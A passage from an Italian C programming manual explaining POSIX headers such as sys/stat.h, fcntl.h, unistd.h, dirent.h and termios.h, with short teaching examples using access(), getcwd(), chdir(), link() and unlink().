// Permessi aggiuntivi: S-bit.
// In questo caso non c'è una maschera che li includa tutti.
//
#define S_ISUID  0004000        // S-UID.
#define S_ISGID  0002000        // S-GID.
#define S_ISVTX  0001000        // Sticky.
```

Figura 81.6. Schema delle «modalità» POSIX per descrivere le caratteristiche di un file. Questa informazione si associa all'inode.

0 0 0 1 file FIFO
0 0 1 0 dispositivo a caratteri
0 1 0 0 directory
0 1 1 0 dispositivo a blocchi
1 0 0 0 file normale
1 0 1 0 collegamento simbolico
1 1 0 0 socket di dominio Unix

suid sgid stiky r w x r w x r w x
proprietario gruppo altri

Inoltre, vengono definite delle macro-istruzioni per distinguere il tipo di file, dalle informazioni contenute in una variabile di tipo '**`mode_t`**', ammesso che queste informazioni siano incluse effettivamente:

```
//
// Macro-istruzioni per la verifica del tipo di file.
//
```

```
#define S_ISBLK(m)    (((m) & S_IFMT) == S_IFBLK)   // Dispositivo a blocchi.
#define S_ISCHR(m)    (((m) & S_IFMT) == S_IFCHR)   // Dispositivo a caratteri.
#define S_ISFIFO(m)   (((m) & S_IFMT) == S_IFIFO)   // File FIFO.
#define S_ISREG(m)    (((m) & S_IFMT) == S_IFREG)   // File puro e semplice.
#define S_ISDIR(m)    (((m) & S_IFMT) == S_IFDIR)   // È una directory.
#define S_ISLNK(m)    (((m) & S_IFMT) == S_IFLNK)   // Collegamento simbolico.
#define S_ISSOCK(m)   (((m) & S_IFMT) == S_IFSOCK)  // Socket di dominio Unix.
```

81.2.2 Struttura «stat»

Il file '`sys/stat.h`' include la dichiarazione del tipo derivato '**`structure stat`**', con lo scopo di contenere le informazioni disponibili su di un file. La struttura deve contenere almeno i membri che appaiono nell'esempio successivo:

```
//
// Struttura «stat».
//
struct stat {
    dev_t     st_dev;       // File di dispositivo contenente il file.
    ino_t     st_ino;       // Numero di serie del file (inode).
    mode_t    st_mode;      // Tipo e permessi del file.
    nlink_t   st_nlink;     // Collegamenti fisici associati al file.
    uid_t     st_uid;       // Numero identificativo dell'utente proprietario.
    gid_t     st_gid;       // Numero identificativo del gruppo proprietario.
    dev_t     st_rdev;      // Numero del file dispositivo, se si tratta di
                            // di un tale tipo di file.
    off_t     st_size;      // Se si tratta di un file vero e proprio,
                            // misura la dimensione del file;
                            // se si tratta di un collegamento simbolico,
                            // misura la dimensione del percorso che questo
                            // rappresenta;
                            // per altri casi il significato di questo
                            // campo non è precisato.
    time_t    st_atime;     // Data dell'ultimo accesso.
    time_t    st_mtime;     // Data dell'ultima modifica del contenuto.
    time_t    st_ctime;     // Data dell'ultima modifica dello stato.
    blksize_t st_blksize;   // Dimensione ottimale del blocco per le
                            // operazioni di I/O.
    blkcnt_t  st_blocks;    // Blocchi da 512 byte allocati per il file.
};
```

81.2.3 Prototipi di funzione

Il file '`sys/stat.h`' include la dichiarazione di alcuni prototipi di funzione, come si vede nell'esempio seguente:

```
//
// Prototipi di funzione.
//
```

```
int     chmod  (const char *path, mode_t mode);
int     fchmod (int fdn, mode_t mode);
int     fstat  (int fdn, struct stat *buf);
int     lstat  (const char *restrict file, struct stat *restrict buf);
int     mkdir  (const char *path, mode_t mode);
int     mkfifo (const char *path, mode_t mode);
int     mknod  (const char *path, mode_t mode, dev_t dev);
int     stat   (const char *restrict path, struct stat *restrict buf);
mode_t umask  (mode_t mask);
```

81.3 File «strings.h»

Il file di intestazione '`strings.h`' contiene i prototipi di alcune funzioni, legate prevalentemente alla scansione delle stringhe. Dal momento che viene usato il tipo derivato '**`size_t`**', questo viene definito attraverso l'inclusione del file '**`stddef.h`**'.

```
#include <stddef.h>

int ffs         (int i);
int strcasecmp  (const char *s1, const char *s2);
int strncasecmp (const char *s1, const char *s2, size_t n);
```

Lo standard prevede anche altri prototipi di funzioni ormai superate, che rimangono solo per compatibilità con il passato.

81.3.1 Funzione «ffs()»

La funzione ***ffs()*** serve a scandire i bit di un valore numerico intero, alla ricerca del primo bit a uno, partendo dalla posizione meno significativa, restituendo l'indice di tale bit, considerando il bit meno significativo avente indice uno. Pertanto, se il valore da scandito è pari a zero (non ha alcun bit a uno), la funzione restituisce zero.

Al di fuori dello standard, è probabile trovare delle altre funzioni simili a questa, per la scansione degli interi di tipo '**`long int`**' e di tipo '**`long long int`**'. In tal caso, i nomi delle funzioni ulteriori possono essere ***ffsl()*** e '**`ffsll`**'.

81.3.2 Funzioni «strcasecmp()» e «strncasecmp()»

Le funzioni ***strcasecmp()*** e ***strncasecmp()*** servono a confrontare due stringhe, ignorando la differenza tra maiuscole e minuscole. Nel caso di ***strncasecmp()*** il confronto è limitato a una certa quantità massima di caratteri.

Se la configurazione locale è quella POSIX, il confronto avviene come se le due stringhe venissero convertite preventivamente in caratteri minuscoli; ma nel caso sia attiva una configurazione locale differente, lo standard non specifica in che modo la comparazione abbia luogo.

Il valore restituito dalle due funzioni dipende dal confronto lessicografico delle due stringhe. Se sono uguali (a parte la differenza tra maiuscole e minuscole), il risultato è zero; se la prima

stringa è lessicograficamente precedente rispetto alla seconda, il valore restituito è inferiore a zero; se la prima stringa è lessicograficamente successiva alla seconda, il valore ottenuto è superiore a zero.

81.4 File «fcntl.h»

Il file di intestazione '`fcntl.h`' riguarda la parte fondamentale della gestione dei file, attraverso i descrittori; precisamente si considerano la creazione, l'apertura e l'attribuzione di opzioni di funzionamento, mentre altre questioni sono gestite attraverso le definizioni contenute nel file '`unistd.h`' (si veda eventualmente la realizzazione del file '`fcntl.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.4, oppure di os32, sezione 120.5).

81.4.1 Tipi di dati derivati

Il file di intestazione '`fcntl.h`' utilizza alcuni tipi di dati derivati, già definiti nel file '`sys/types.h`':

```
#include <sys/types.h>  // mode_t
                        // off_t
                        // pid_t
```

81.4.2 Opzioni per la funzione «fcntl()»

Nel file di intestazione '`fcntl.h`' si definiscono varie macro-variabili, di cui un primo insieme riguarda, quasi in modo esclusivo, l'uso della funzione ***fcntl()***.

```
//
// Valori per il secondo argomento della funzione fcntl().
//
#define F_DUPFD         0       // Duplicate file descriptor.
#define F_GETFD         1       // Get file descriptor flags.
#define F_SETFD         2       // Set file descriptor flags.
#define F_GETFL         3       // Get file status flags.
#define F_SETFL         4       // Set file status flags.
#define F_GETLK         5       // Get record locking information.
#define F_SETLK         6       // Set record locking information.
#define F_SETLKW        7       // Set record locking information;
                                // wait if blocked.
#define F_GETOWN        8       // Set owner of socket.
#define F_SETOWN        9       // Get owner of socket.
//
// Flags da impostare con:
//   fcntl (fd, F_SETFD, ...);
//
#define FD_CLOEXEC      1       // Chiude il descrittore del file
                                // nel momento dell'esecuzione di una
                                // funzione del gruppo 'exec()'.
```

Le macro-variabili ***F_DUPFD***, ***F_GETFD***, ***F_SETFD***, ***F_GETFL***, ***F_SETFL***, ***F_GETLK***, ***F_SETLK***, ***F_SETLKW***, ***F_GETOWN*** e ***F_SETOWN***, servono per dichiarare il tipo di comando da dare alla funzione ***fcntl()***, attraverso il suo secondo parametro:

```
int fcntl (int fdn, int cmd, ...);
```

La macro-variabile ***FD_CLOEXEC*** riguarda un insieme di indicatori associati a un descrittore di file (***fd_flags***), di cui però esiste solo un indicatore, rappresentato dalla macro-variabile stessa. Utilizzando la funzione ***fcntl()*** e specificando il comando ***F_GETFD*** è possibile ottenere lo stato di questi indicatori (ovvero solo ***FD_CLOEXEC***), mentre con il comando ***F_SETFD*** è possibile modificare questo stato. Quando l'indicatore ***FD_CLOEXEC*** risulta attivo per un certo descrittore di file, se viene eseguita la sostituzione del processo con l'ausilio di una funzione del gruppo ***exec...()***, il descrittore in questione viene chiuso, mentre diversamente rimarrebbe aperto.

Nel file di intestazione '`fcntl.h`' vengono dichiarate anche delle macro-variabili per definire la modalità di accesso a un file, da usare prevalentemente con la funzione ***open()***:

```
//
// Indicatori per la creazione dei file, da usare nel parametro
// «oflag» della funzione open().
//
#define O_CREAT         000010  // Crea il file se non esiste già.
#define O_EXCL          000020  // Indicatore di accesso esclusivo.
#define O_NOCTTY        000040  // Non assegna un terminale di controllo.
#define O_TRUNC         000100  // Indicatore di troncamento.
//
// Indicatori dello stato dei file,
// usati nelle funzioni open() e fcntl().
//
#define O_APPEND        000200  // Scrittura in aggiunta.
#define O_DSYNC         000400  // Scrittura sincronizzata dei dati.
#define O_NONBLOCK      001000  // Modalità non bloccante.
#define O_RSYNC         002000  // Lettura sincronizzata.
#define O_SYNC          004000  // Scrittura sincronizzata dei file.
//
// Maschera per la selezione delle sole modalità principali di accesso
// ai file.
//
#define O_ACCMODE       000003  // Seleziona gli ultimi due bit, che in
                                // questo caso individuano le modalità
                                // di accesso principali (lettura,
                                // scrittura ed entrambe) dalle altre
                                // modalità che sono già state
                                // descritte sopra.
//
// Modalità principali di accesso ai file, secondo la tradizione.
//
//#define O_RDONLY      000000  // Apertura in sola lettura.
//#define O_WRONLY      000001  // Apertura in sola scrittura.
```

```
//#define O_RDWR         000002  // Apertura in lettura e scrittura.
//
// Modalità principali secondo le indicazioni per le
// realizzazioni future:
//
#define O_RDONLY        000001                // Apertura in lettura.
#define O_WRONLY        000002                // Apertura in scrittura.
#define O_RDWR          (O_RDONLY | O_WRONLY) // Apertura in lettura
                                              // e scrittura.
```

81.4.3 Gestione del blocco dei file

Alcune macro-variabili e la struttura '**`flock`**' servono per la gestione del blocco dei file.[1] L'esempio seguente si limita ai soli membri indispensabili:

```
//
// Valori per il tipo "l_type" (di una variabile strutturata di tipo
// "struct flock"), usato per il blocco dei record attraverso la
// funzione fcntl().
//
#define F_RDLCK         0       // Read lock.
#define F_WRLCK         1       // Write lock.
#define F_UNLCK         2       // Remove lock.
//
// Struttura «flock».
//
struct flock {
    short int l_type;   // Tipo del blocco: F_RDLCK, F_WRLCK, o F_UNLCK.
    short int l_whence; // Punto di riferimento iniziale a cui si somma
                        // poi il valore dello scostamento, rappresentato
                        // da "l_start".
    off_t     l_start;  // Scostamento che individua l'inizio dell'area
                        // bloccata. Lo scostamento può essere positivo
                        // o negativo.
    off_t     l_len;    // Dimensione dell'area bloccata: se si indica
                        // zero, significa che questa raggiunge la fine
                        // del file.
    pid_t     l_pid;    // Il numero del processo elaborativo che blocca
                        // l'area.
};
```

81.4.4 Funzioni

Sono presenti anche i prototipi delle funzioni ***creat()***, ***fcntl()*** e ***open()***:

```
//
// Prototipi di funzione.
//
int creat (const char *file, mode_t mode);
int fcntl (int fdn, int cmd, ...);
int open  (const char *file, int oflag, ...);
```

Per l'uso delle funzioni ***open()*** e ***creat()*** si veda la sezione 79.5.

La funzione ***fcntl()*** esegue un'operazione, definita dal parametro ***cmd***, sul descrittore richiesto come primo parametro (***fdn***). A seconda del tipo di operazione richiesta, potrebbero essere necessari degli argomenti ulteriori, i quali però non possono essere formalizzati in modo esatto nel prototipo della funzione. Il valore del secondo parametro che rappresenta l'operazione richiesta, va fornito in forma di costante simbolica, come descritto nell'elenco seguente.

Sintassi	Descrizione
`fcntl (`***fdn***`, F_DUPFD, (int)` ***fdn_min***`)`	Richiede la duplicazione del descrittore di file ***fdn***, in modo tale che la copia abbia il numero di descrittore minore possibile, ma maggiore o uguale a quello indicato come argomento ***fdn_min***.
`fcntl (`***fdn***`, F_GETFD)` `fcntl (`***fdn***`, F_SETFD, (int)` ***fd_flags***`)`	Rispettivamente, legge o imposta, gli indicatori del descrittore di file ***fdn*** (eventualmente noti come *file descriptor flags* o solo *fd flags*). Per il momento, è possibile impostare un solo indicatore, '**`FD_CLOEXEC`**', pertanto, al posto di ***fd_flags*** si può mettere solo la costante '**`FD_CLOEXEC`**'.
`fcntl (`***fdn***`, F_GETFL)` `fcntl (`***fdn***`, F_SETFL, (int)` ***fl_flags***`)`	Rispettivamente, legge o imposta, gli indicatori dello stato del file, relativi al descrittore ***fdn*** (eventualmente noti come *file flags* o solo *fl flags*). Per impostare questi indicatori, vanno combinate delle costanti simboliche: '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**'.

Il significato del valore restituito dalla funzione dipende dal tipo di operazione richiesta, come sintetizzato dalla tabella successiva.

Operazione richiesta	Significato del valore restituito
`F_DUPFD`	Si ottiene il numero del descrittore prodotto dalla copia, oppure −1 in caso di errore.
`F_GETFD`	Si ottiene il valore degli indicatori del descrittore (*fd flags*), oppure −1 in caso di errore.
`F_GETFL`	Si ottiene il valore degli indicatori del file (*fl flags*), oppure −1 in caso di errore.

`F_GETOWN`
`F_SETOWN`
`F_GETLK`
`F_SETLK`
`F_SETLKW`
	Si ottiene −1, in quanto si tratta di operazioni non realizzate in questa versione della funzione, per os16.

altri tipi di operazione	Si ottiene 0 in caso di successo, oppure −1 in caso di errore.

81.5 File «unistd.h»

Il file di intestazione '`unistd.h`' raccoglie un po' di tutto ciò che riguarda le estensioni POSIX, pertanto è frequente il suo utilizzo (si veda eventualmente la realizzazione del file '`unistd.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.17, oppure di os32, sezione 120.21).

Nel file '`unistd.h`' si distingue la presenza di un elenco numeroso di macro-variabili con prefissi ***_POSIX_***..., ***_POSIX2_***... e ***_XOPEN_***..., con lo scopo di dichiarare le caratteristiche del sistema e della libreria. Per l'interrogazione delle caratteristiche o delle limitazioni del sistema, si utilizzano però delle funzioni apposite, costituite precisamente da ***pathconf()*** e ***sysconf()***, le quali utilizzano un proprio insieme di macro-variabili per individuare le caratteristiche da interrogare. Nel caso di ***pathconf()*** si aggiungono macro-variabili con prefisso ***_PC_***...; per ***sysconf()*** le macro-variabili hanno il prefisso ***_SC_***....

Nei prototipi di funzione si utilizzano diversi tipi derivati, già dichiarati nei file '`sys/types.h`' e '`inttypes.h`':

```
#include <sys/types.h>  // size_t, ssize_t, uid_t, gid_t, off_t,
                        // pid_t, useconds_t
#include <inttypes.h>   // intptr_t
```

Nel file deve anche essere dichiarato il valore per la macro-variabile ***NULL***; in questo caso viene incorporato il file '`stddef.h`':

```
#include <stddef.h>     // NULL
```

81.5.1 Denominazione dei descrittori di file

Per dare un nome ai descrittori dei flussi standard, nel file '`unistd.h`' si dichiarano tre macro-variabili, il cui valore è stabilito necessariamente:

```
#define STDIN_FILENO    0
#define STDOUT_FILENO   1
#define STDERR_FILENO   2
```

81.5.2 Verifica dei permessi di accesso

La funzione ***access()*** consente di verificare l'accessibilità di un file. Per questo richiede l'indicazione del percorso e di un valore che rappresenta i tipi di accesso che si vogliono considerare. Questi sono rappresentati dall'unione di quattro possibili macro-variabili:

```
#define R_OK    04   // Accessibilità in lettura.
#define W_OK    02   // Accessibilità in scrittura.
#define X_OK    01   // Accessibilità in esecuzione o attraversamento
#define F_OK    00   // Esistenza del file.
```

I valori che questa macro-variabili possono avere devono essere tali da consentire la combinazione con l'operatore '`|`' (OR, bit per bit), così da poter verificare simultaneamente tutti gli aspetti dell'accesso al file.

81.5.3 Funzioni

Segue l'elenco dei prototipi delle funzioni principali del file '`unistd.h`':

```
int          access      (const char *path, int mode);
unsigned int alarm       (unsigned int seconds);
int          chdir       (const char *path);
int          chown       (const char *path, uid_t owner, gid_t group);
int          close       (int fdn);
size_t       confstr     (int name, char *buffer, size_t length);
int          dup         (int old_fdn);
int          dup2        (int old_fdn, int new_fdn);
int          execl       (const char *path, const char *arg, ...);
int          execle      (const char *path, const char *arg, ...,
                          char *const envp[]);
int          execlp      (const char *path, const char *arg, ...);
int          execv       (const char *path, char *const argv[]);
int          execve      (const char *path, char *const argv[],
                          char *const envp[]);
int          execvp      (const char *path, char *const argv[]);
void         _exit       (int status);
int          fchown      (int fdn, uid_t owner, gid_t group);
```

```
pid_t         fork         (void);
long          fpathconf    (int fdn, int name);
int           ftruncate    (int fdn, off_t length);
char         *getcwd       (char *buffer, size_t size);
gid_t         getegid      (void);
uid_t         geteuid      (void);
gid_t         getgid       (void);
int           getgroups    (int size, gid_t list[]);
int           gethostname  (char *name, size_t length);
char         *getlogin     (void);
int           getlogin_r   (char *buffer, size_t size);
int           getopt       (int argv, char *const argv[],
                            const char *optstring);
pid_t         getpgrp      (void);
pid_t         getpid       (void);
pid_t         getppid      (void);
uid_t         getuid       (void);
int           isatty       (int fdn);
int           link         (const char *old_path, const char *new_path);
off_t         lseek        (int fdn, off_t offset, int whence);
long          pathconf     (const char *path, int name);
int           pause        (void);
int           pipe         (int fdn[2]);
ssize_t       read         (int fdn, void *buffer, size_t length);
ssize_t       readlink     (const char *restrict path,
                            char *restrict buffer, size_t size);
int           rmdir        (const char *path);
int           setegid      (gid_t egid);
int           seteuid      (uid_t euid);
int           setgid       (gid_t gid);
int           setpgid      (pid_t pid, pid_t pgid);
pid_t         setsid       (void);
int           setuid       (uid_t uid);
unsigned      sleep        (unsigned int seconds);
int           symlink      (const char *old_path, const char *new_path);
long          sysconf      (int name);
pid_t         tcgetpgrp    (int fdn);
int           tcsetpgrp    (int fdn, pid_t pgrp);
char         *ttyname      (int fdn);
int           ttyname_r    (int fdn, char *buffer, size_t length);
int           unlink       (const char *path);
ssize_t       write        (int fdn, const void *buffer, size_t length);
```

81.5.4 Funzioni di servizio per la gestione di file e directory

Nelle sezioni seguenti si descrivono solo alcune delle funzioni destinate alla gestione di file e directory, il cui prototipo appare nel file '`unistd.h`'.

81.5.4.1 Funzione «access()»

La funzione ***access()*** consente di verificare l'accessibilità di un file, il cui percorso viene fornito tramite una stringa. L'accessibilità viene valutata in base a delle opzioni, con cui è possibile specificare a cosa si è interessati in modo preciso.

```
int access (const char *percorso, int modalità);
```

Il secondo parametro della funzione è un numero intero fornito normalmente attraverso l'indicazione di una macro-variabile che rappresenta simbolicamente il tipo di accesso che si intende verificare. Si può utilizzare ***F_OK*** per verificare l'esistenza del file o della directory; in alternativa, si possono usare le macro-variabili ***R_OK***, ***W_OK*** e ***X_OK***, sommabili assieme attraverso l'operatore OR binario, per la verifica dell'accessibilità in lettura, in scrittura e in esecuzione o attraversamento. Per esempio, scrivendo '**`R_OK|W_OK|X_OK`**' si vuole verificare che il file o la directory sia accessibile con tutti i tre permessi attivi.

Tabella 81.23. Macro-variabili usate per descrivere la modalità di accesso del secondo parametro della funzione ***access()***.

Macro-variabile	Descrizione
`F_OK`	Si richiede la verifica dell'esistenza del file o della directory. Questa opzione va usata da sola e non può essere sommata alle altre.
`R_OK`	Si richiede la verifica dell'accessibilità in lettura del file o della directory.
`W_OK`	Si richiede la verifica dell'accessibilità in scrittura del file o della directory.
`X_OK`	Si richiede la verifica dell'accessibilità in esecuzione del file o in attraversamento della directory.

La funzione restituisce il valore zero se il file o la directory risultano accessibili nel modo richiesto, altrimenti restituisce il valore −1 e si può verificare il tipo di errore valutando il contenuto della variabile ***errno***.

L'esempio seguente descrive completamente l'uso della funzione. Si può osservare che per valutare il successo dell'operazione, l'esito restituito dalla funzione viene invertito; inoltre, il contenuto della variabile ***errno*** viene considerato con l'aiuto della funzione ***perror()***. Il file dell'esempio dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-unistd-access.c* ⟩.

```
#include <stdio.h>
#include <unistd.h>

int
main (void)
{
    const char *file_name = "/tmp/test";
```

```
    if (! access (file_name, F_OK))
      {
        printf ("Il file o la directory \"%s\" esiste.\n", file_name);
        if (! access (file_name, R_OK))
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("è accessibile in lettura.\n");
          }
        else
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("non è accessibile in lettura.\n");
            perror (NULL);
          }
        if (! access (file_name, W_OK))
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("è accessibile in scrittura.\n");
          }
        else
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("non è accessibile in scrittura.\n");
            perror (NULL);
          }
        if (! access (file_name, X_OK))
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("è accessibile in esecuzione o attraversamento.\n");
          }
        else
          {
            printf ("Il file o la directory \"%s\" ", file_name);
            printf ("non è accessibile in esecuzione o attraversamento.\n");
            perror (NULL);
          }
      }
    else
      {
        printf ("Il file o la directory \"%s\" non esiste.\n", file_name);
        perror (NULL);
      }

    return (0);
}
```

81.5.4.2 Funzione «getcwd()»

La funzione ***getcwd()*** (*get current working directory*) consente di annotare in una stringa il percorso della directory corrente.

```
char *getcwd (char *buffer, size_t max);
```

Come si può vedere dal prototipo della funzione, occorre predisporre prima un array di caratteri, da usare come stringa, in cui la funzione va a scrivere il percorso trovato (con tanto di carattere nullo di terminazione). Come secondo parametro della funzione va indicata la dimensione massima dell'array, oltre la quale la scrittura non può andare.

La funzione restituisce il puntatore alla stringa contenente il percorso, ma se si verifica un errore restituisce il puntatore nullo e aggiorna la variabile ***errno*** con la specificazione della causa di tale errore.

L'esempio seguente descrive l'uso della funzione in modo molto semplice; in particolare, in caso di errore si usa la funzione ***perror()*** per visualizzarne una descrizione. Il file dell'esempio dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-unistd-getcwd.c*⟩.

```
#include <stdio.h>
#include <unistd.h>

int
main (void)
{
    char cwd[500];
    char *result;

    result = getcwd (cwd, 500);

    if (result == NULL)
      {
        perror (NULL);
      }
    else
      {
        printf ("%s\n", cwd);
      }
    return (0);
}
```

81.5.4.3 Funzione «chdir()»

La funzione ***chdir()*** (*change directory*) consente cambiare la directory corrente del processo elaborativo.

```
int chdir (const char *path);
```

La funzione richiede come unico parametro la stringa che descrive il percorso da raggiungere. La funzione restituisce zero se l'operazione si conclude con successo, oppure il valore −1 in caso di errore, ma in tal caso viene modificata anche la variabile ***errno*** con l'indicazione più precisa dell'errore verificatosi.

L'esempio seguente mostra il comportamento della funzione, ma va osservato che l'effetto riguarda esclusivamente il processo in funzione e non si riflette al processo che lo genera a sua volta. Per questa ragione il programma di esempio visualizza la posizione corrente raggiunta. Il file dell'esempio dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-unistd-chdir.c*⟩.

```
#include <stdio.h>
#include <unistd.h>

int
main (void)
{
    const char *path = "/tmp/test";
    char cwd[500] = {'\0'};

    if (! chdir (path))
      {
        getcwd (cwd, 500);
        printf ("Il processo passa alla directory \"%s\".\n", cwd);
      }
    else
      {
        printf ("Non è possibile passare alla directory \"%s\"!\n",
                path);
        perror (NULL);
      }

    return (0);
}
```

81.5.4.4 Funzioni «link()» e «unlink()»

La funzione ***link()*** consente la creazione di un nuovo collegamento fisico a partire da un file o da una directory già esistente, tenendo conto che la facoltà di creare un collegamento fisico a partire da una directory è una funzione privilegiata e il sistema operativo potrebbe non ammetterla in ogni caso. Per collegamento fisico si intende il riferimento contenuto in una directory, verso un certo file o una certa sottodirectory individuati numericamente da un numero inode. La funzione ***link()*** produce una sorta di copia del file, nel senso che si predispone un riferimento aggiuntivo alla stessa cosa, senza la duplicazione dei dati relativi. Per converso, la funzione ***unlink()*** elimina il riferimento a un file o a una directory, cosa che coincide con la cancellazione del file o della directory, se si tratta dell'ultimo riferimento esistente a tale oggetto nel file system. Anche in questo caso, va considerato in modo particolare l'eliminazione del riferimento a una directory: il sistema operativo può impedirlo se si tratta di una directory non vuota.

```
int link (const char *p1, const char *p2);
```

```
int unlink (const char *p);
```

I parametri delle due funzioni sono stringhe che descrivono il percorso di un file o di una directory. Nel caso di ***unlink()*** si indica solo il percorso da rimuovere, mentre con ***link()*** se ne indicano due: l'origine e la destinazione che si vuole creare.

Le due funzioni restituiscono un valore intero pari a zero se tutto va bene, altrimenti restituiscono il valore −1, modificando anche il contenuto della variabile ***errno*** con un'informazione più precisa sull'accaduto.

Gli esempi seguenti mostrano il comportamento delle due funzioni. I file degli esempi dovrebbero essere disponibili presso ⟨*allegati/c/esempio-posix-unistd-link.c*⟩ e ⟨*allegati/c/esempio-posix-unistd-unlink.c*⟩.

```
#include <stdio.h>
#include <unistd.h>

int
main (void)
{
    const char *old = "/tmp/test";
    const char *new = "/tmp/test.link";

    if (! link (old, new))
      {
        printf ("Creato il collegamento \"%s\".\n", new);
      }
    else
      {
        printf ("Non è possibile creare il collegamento \"%s\"!\n",
                new);
```

```
        perror (NULL);
      }

    return (0);
}
```

```
#include <stdio.h>
#include <unistd.h>

int
main (void)
{
    const char *name = "/tmp/test";

    if (! unlink (name))
      {
        printf ("Cancellato il file o la directory \"%s\".\n", name);
      }
    else
      {
        printf ("Non è possibile cancellare il file o la directory ");
        printf ("\"%s\"!\n", name);
        perror (NULL);
      }

    return (0);
}
```

81.6 File «dirent.h»

Il file di intestazione '`dirent.h`' raccoglie ciò che serve per la gestione delle directory, attraverso flussi individuati da puntatori di tipo '**`DIR *`**' (si veda eventualmente la realizzazione del file '`dirent.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.2, oppure di os32, sezione 120.3). La gestione di tali flussi può avvenire attraverso i descrittori di file, così come già avviene per i flussi individuati da puntatori di tipo '**`FILE *`**', ma ciò è una facoltà, non una necessità realizzativa.

81.6.1 Struttura «dirent»

Il file '`dirent.h`' prevede la dichiarazione di un tipo derivato, denominato '**`struct dirent`**', da usare per rappresentare una voce singola di una directory. I membri necessari di questa struttura sono ***d_ino***, per rappresentare il numero di inode della voce, e ***d_name[]*** per contenere il nome del file relativo, completo di carattere nullo di terminazione delle stringhe. La definizione del tipo '**`struct dirent`**' potrebbe essere realizzata nel modo seguente:

```
#include <sys/types.h>  // ino_t
#include <limits.h>     // NAME_MAX
//
struct dirent {
    ino_t  d_ino;                 // Numero di inode
    char   d_name[NAME_MAX+1];    // NAME_MAX + '\0'
} __attribute__ ((packed));
```

81.6.2 Tipo «DIR»

Nel file 'dirent.h' è definito il tipo derivato '**DIR**', con il quale si intende fare riferimento a un flusso che individua una directory aperta. Se la gestione di tali flussi avviene attraverso i descrittori di file, ci deve poter essere il riferimento al numero del descrittore relativo. Quello che segue è un esempio di una tale struttura, seguita dalla dichiarazione di un array per il contenimento delle informazioni su tutte le directory aperte del processo:

```
typedef struct {
    int           fdn;       // Numero del descrittore di file.
    struct dirent dir;       // Last directory item read.
} DIR;

extern DIR _directory_stream[]; // Array di directory che però non è
                                // previsto espressamente dallo
                                // standard.
```

Nella struttura di tipo '**DIR**' di questo esempio, viene inclusa una struttura di tipo '**struct dirent**', per permettere alla funzione ***readdir()*** di annotare l'ultima voce letta da una certa directory.

81.6.3 Prototipi di funzioni

La gestione delle directory in forma di flussi di tipo '**DIR ***' richiede alcune funzioni specifiche, di cui si trovano i prototipi nel file 'dirent.h':

```
int            closedir  (DIR *dp);
DIR           *opendir   (const char *name);
struct dirent *readdir   (DIR *dp);
void           rewinddir (DIR *dp);
```

La funzione ***opendir()*** apre un flusso corrispondente a una directory indicata tramite il suo percorso, restituendo il puntatore relativo. Una volta aperta una directory, si possono leggere le sue voci con la funzione ***readdir()***, la quale restituisce il puntatore di una variabile strutturata di tipo '**struct dirent**', all'interno della quale è possibile trarre i dati della voce letta: negli esempi di questo capitolo, tali informazioni sono incorporate nella struttura '**DIR**' che rappresenta la directory aperta. Ogni lettura fa avanzare alla voce successiva della directory e, se necessario, si può riposizionare l'indice di lettura alla prima voce, con la funzione ***rewinddir()***. Per chiudere un flusso aperto, si usa la funzione ***closedir()***.

81.7 File «termios.h»

La gestione essenziale del terminale a caratteri è abbastanza complessa e si sintetizza con le definizioni del file '`termios.h`' (si veda eventualmente la realizzazione del file '`termios.h`' e di alcune delle sue funzioni nei sorgenti di os32, sezione 120.19). Lo standard prevede due modalità di inserimento: canonica e non canonica. Negli esempi di questo capitolo ci si sofferma su ciò che serve nel file '`termios.h`' per gestire la modalità canonica, ovvero quella tradizionale per cui il dispositivo del terminale fornisce dati, solo dopo l'inserimento completo di una riga, confermato con un codice di interruzione di riga o con un altro codice che concluda comunque l'inserimento.

81.7.1 Tipi speciali

Nel file '`termios.h`' vengono definiti alcuni tipi speciali per variabili scalari, che potrebbero essere descritti nel modo seguente:

```
typedef unsigned int tcflag_t;
typedef unsigned int speed_t;
typedef unsigned int cc_t;
```

Il tipo '**`tcflag_t`**' viene usato nelle strutture di tipo '**`struct termios`**', la cui definizione viene fatta nello stesso file '`termios.h`'; il tipo '**`speed_t`**' serve per contenere il valore di una velocità di comunicazione del terminale; il tipo '**`cc_t`**' serve per rappresentare un carattere di controllo, per la gestione del terminale.

81.7.2 Tipo «struct termios»

Nel file '`termios.h`' viene definita la struttura '**`struct termios`**', allo scopo di annotare tutte le informazioni sulla modalità di funzionamento di un certo dispositivo di terminale. Nell'esempio seguente si vedono solo i membri obbligatori, ma va considerata l'aggiunta di informazioni legate alla velocità di comunicazione, se il terminale ne deve fare uso. La definizione della struttura '**`struct termios`**' richiede anche la dichiarazione della macro-variabile ***NCCS***, come si vede nell'esempio.

```
#define NCCS    11      // Dimensione dell'array 'c_cc[]'.
//
struct termios {
    tcflag_t c_iflag;
    tcflag_t c_oflag;
    tcflag_t c_cflag;
    tcflag_t c_lflag;
    cc_t     c_cc[NCCS];
};
```

Il membro ***c_iflag*** contiene gli indicatori che descrivono la modalità di inserimento di dati attraverso il terminale; il membro ***c_oflag*** contiene indicatori per la modalità di elaborazione dei dati in uscita, prima della loro lettura; il membro ***c_cflag*** contiene opzioni di controllo; il membro ***lflag*** contiene opzioni «locali» (qui, in particolare, si definisce se il terminale debba funzionare in modalità canonica o meno); l'array ***c_cc[]*** contiene i codici di caratteri da interpretare in modo speciale, per il controllo del funzionamento del terminale.

81.7.3 Codici di controllo

Durante l'inserimento di dati attraverso il terminale, alcuni codici possono assumere un significato particolare. Il valore numerico di questi codici è annotato nell'array ***c_cc[]*** che è membro della struttura di tipo '**`struct termios`**'; per farvi riferimento, l'indice da usare nell'array ***c_cc[]*** deve essere indicato attraverso una meta-variabile:

```
#define VEOF       0     // carattere EOF
#define VEOL       1     // carattere EOL
#define VERASE     2     // carattere ERASE
#define VINTR      3     // carattere INTR
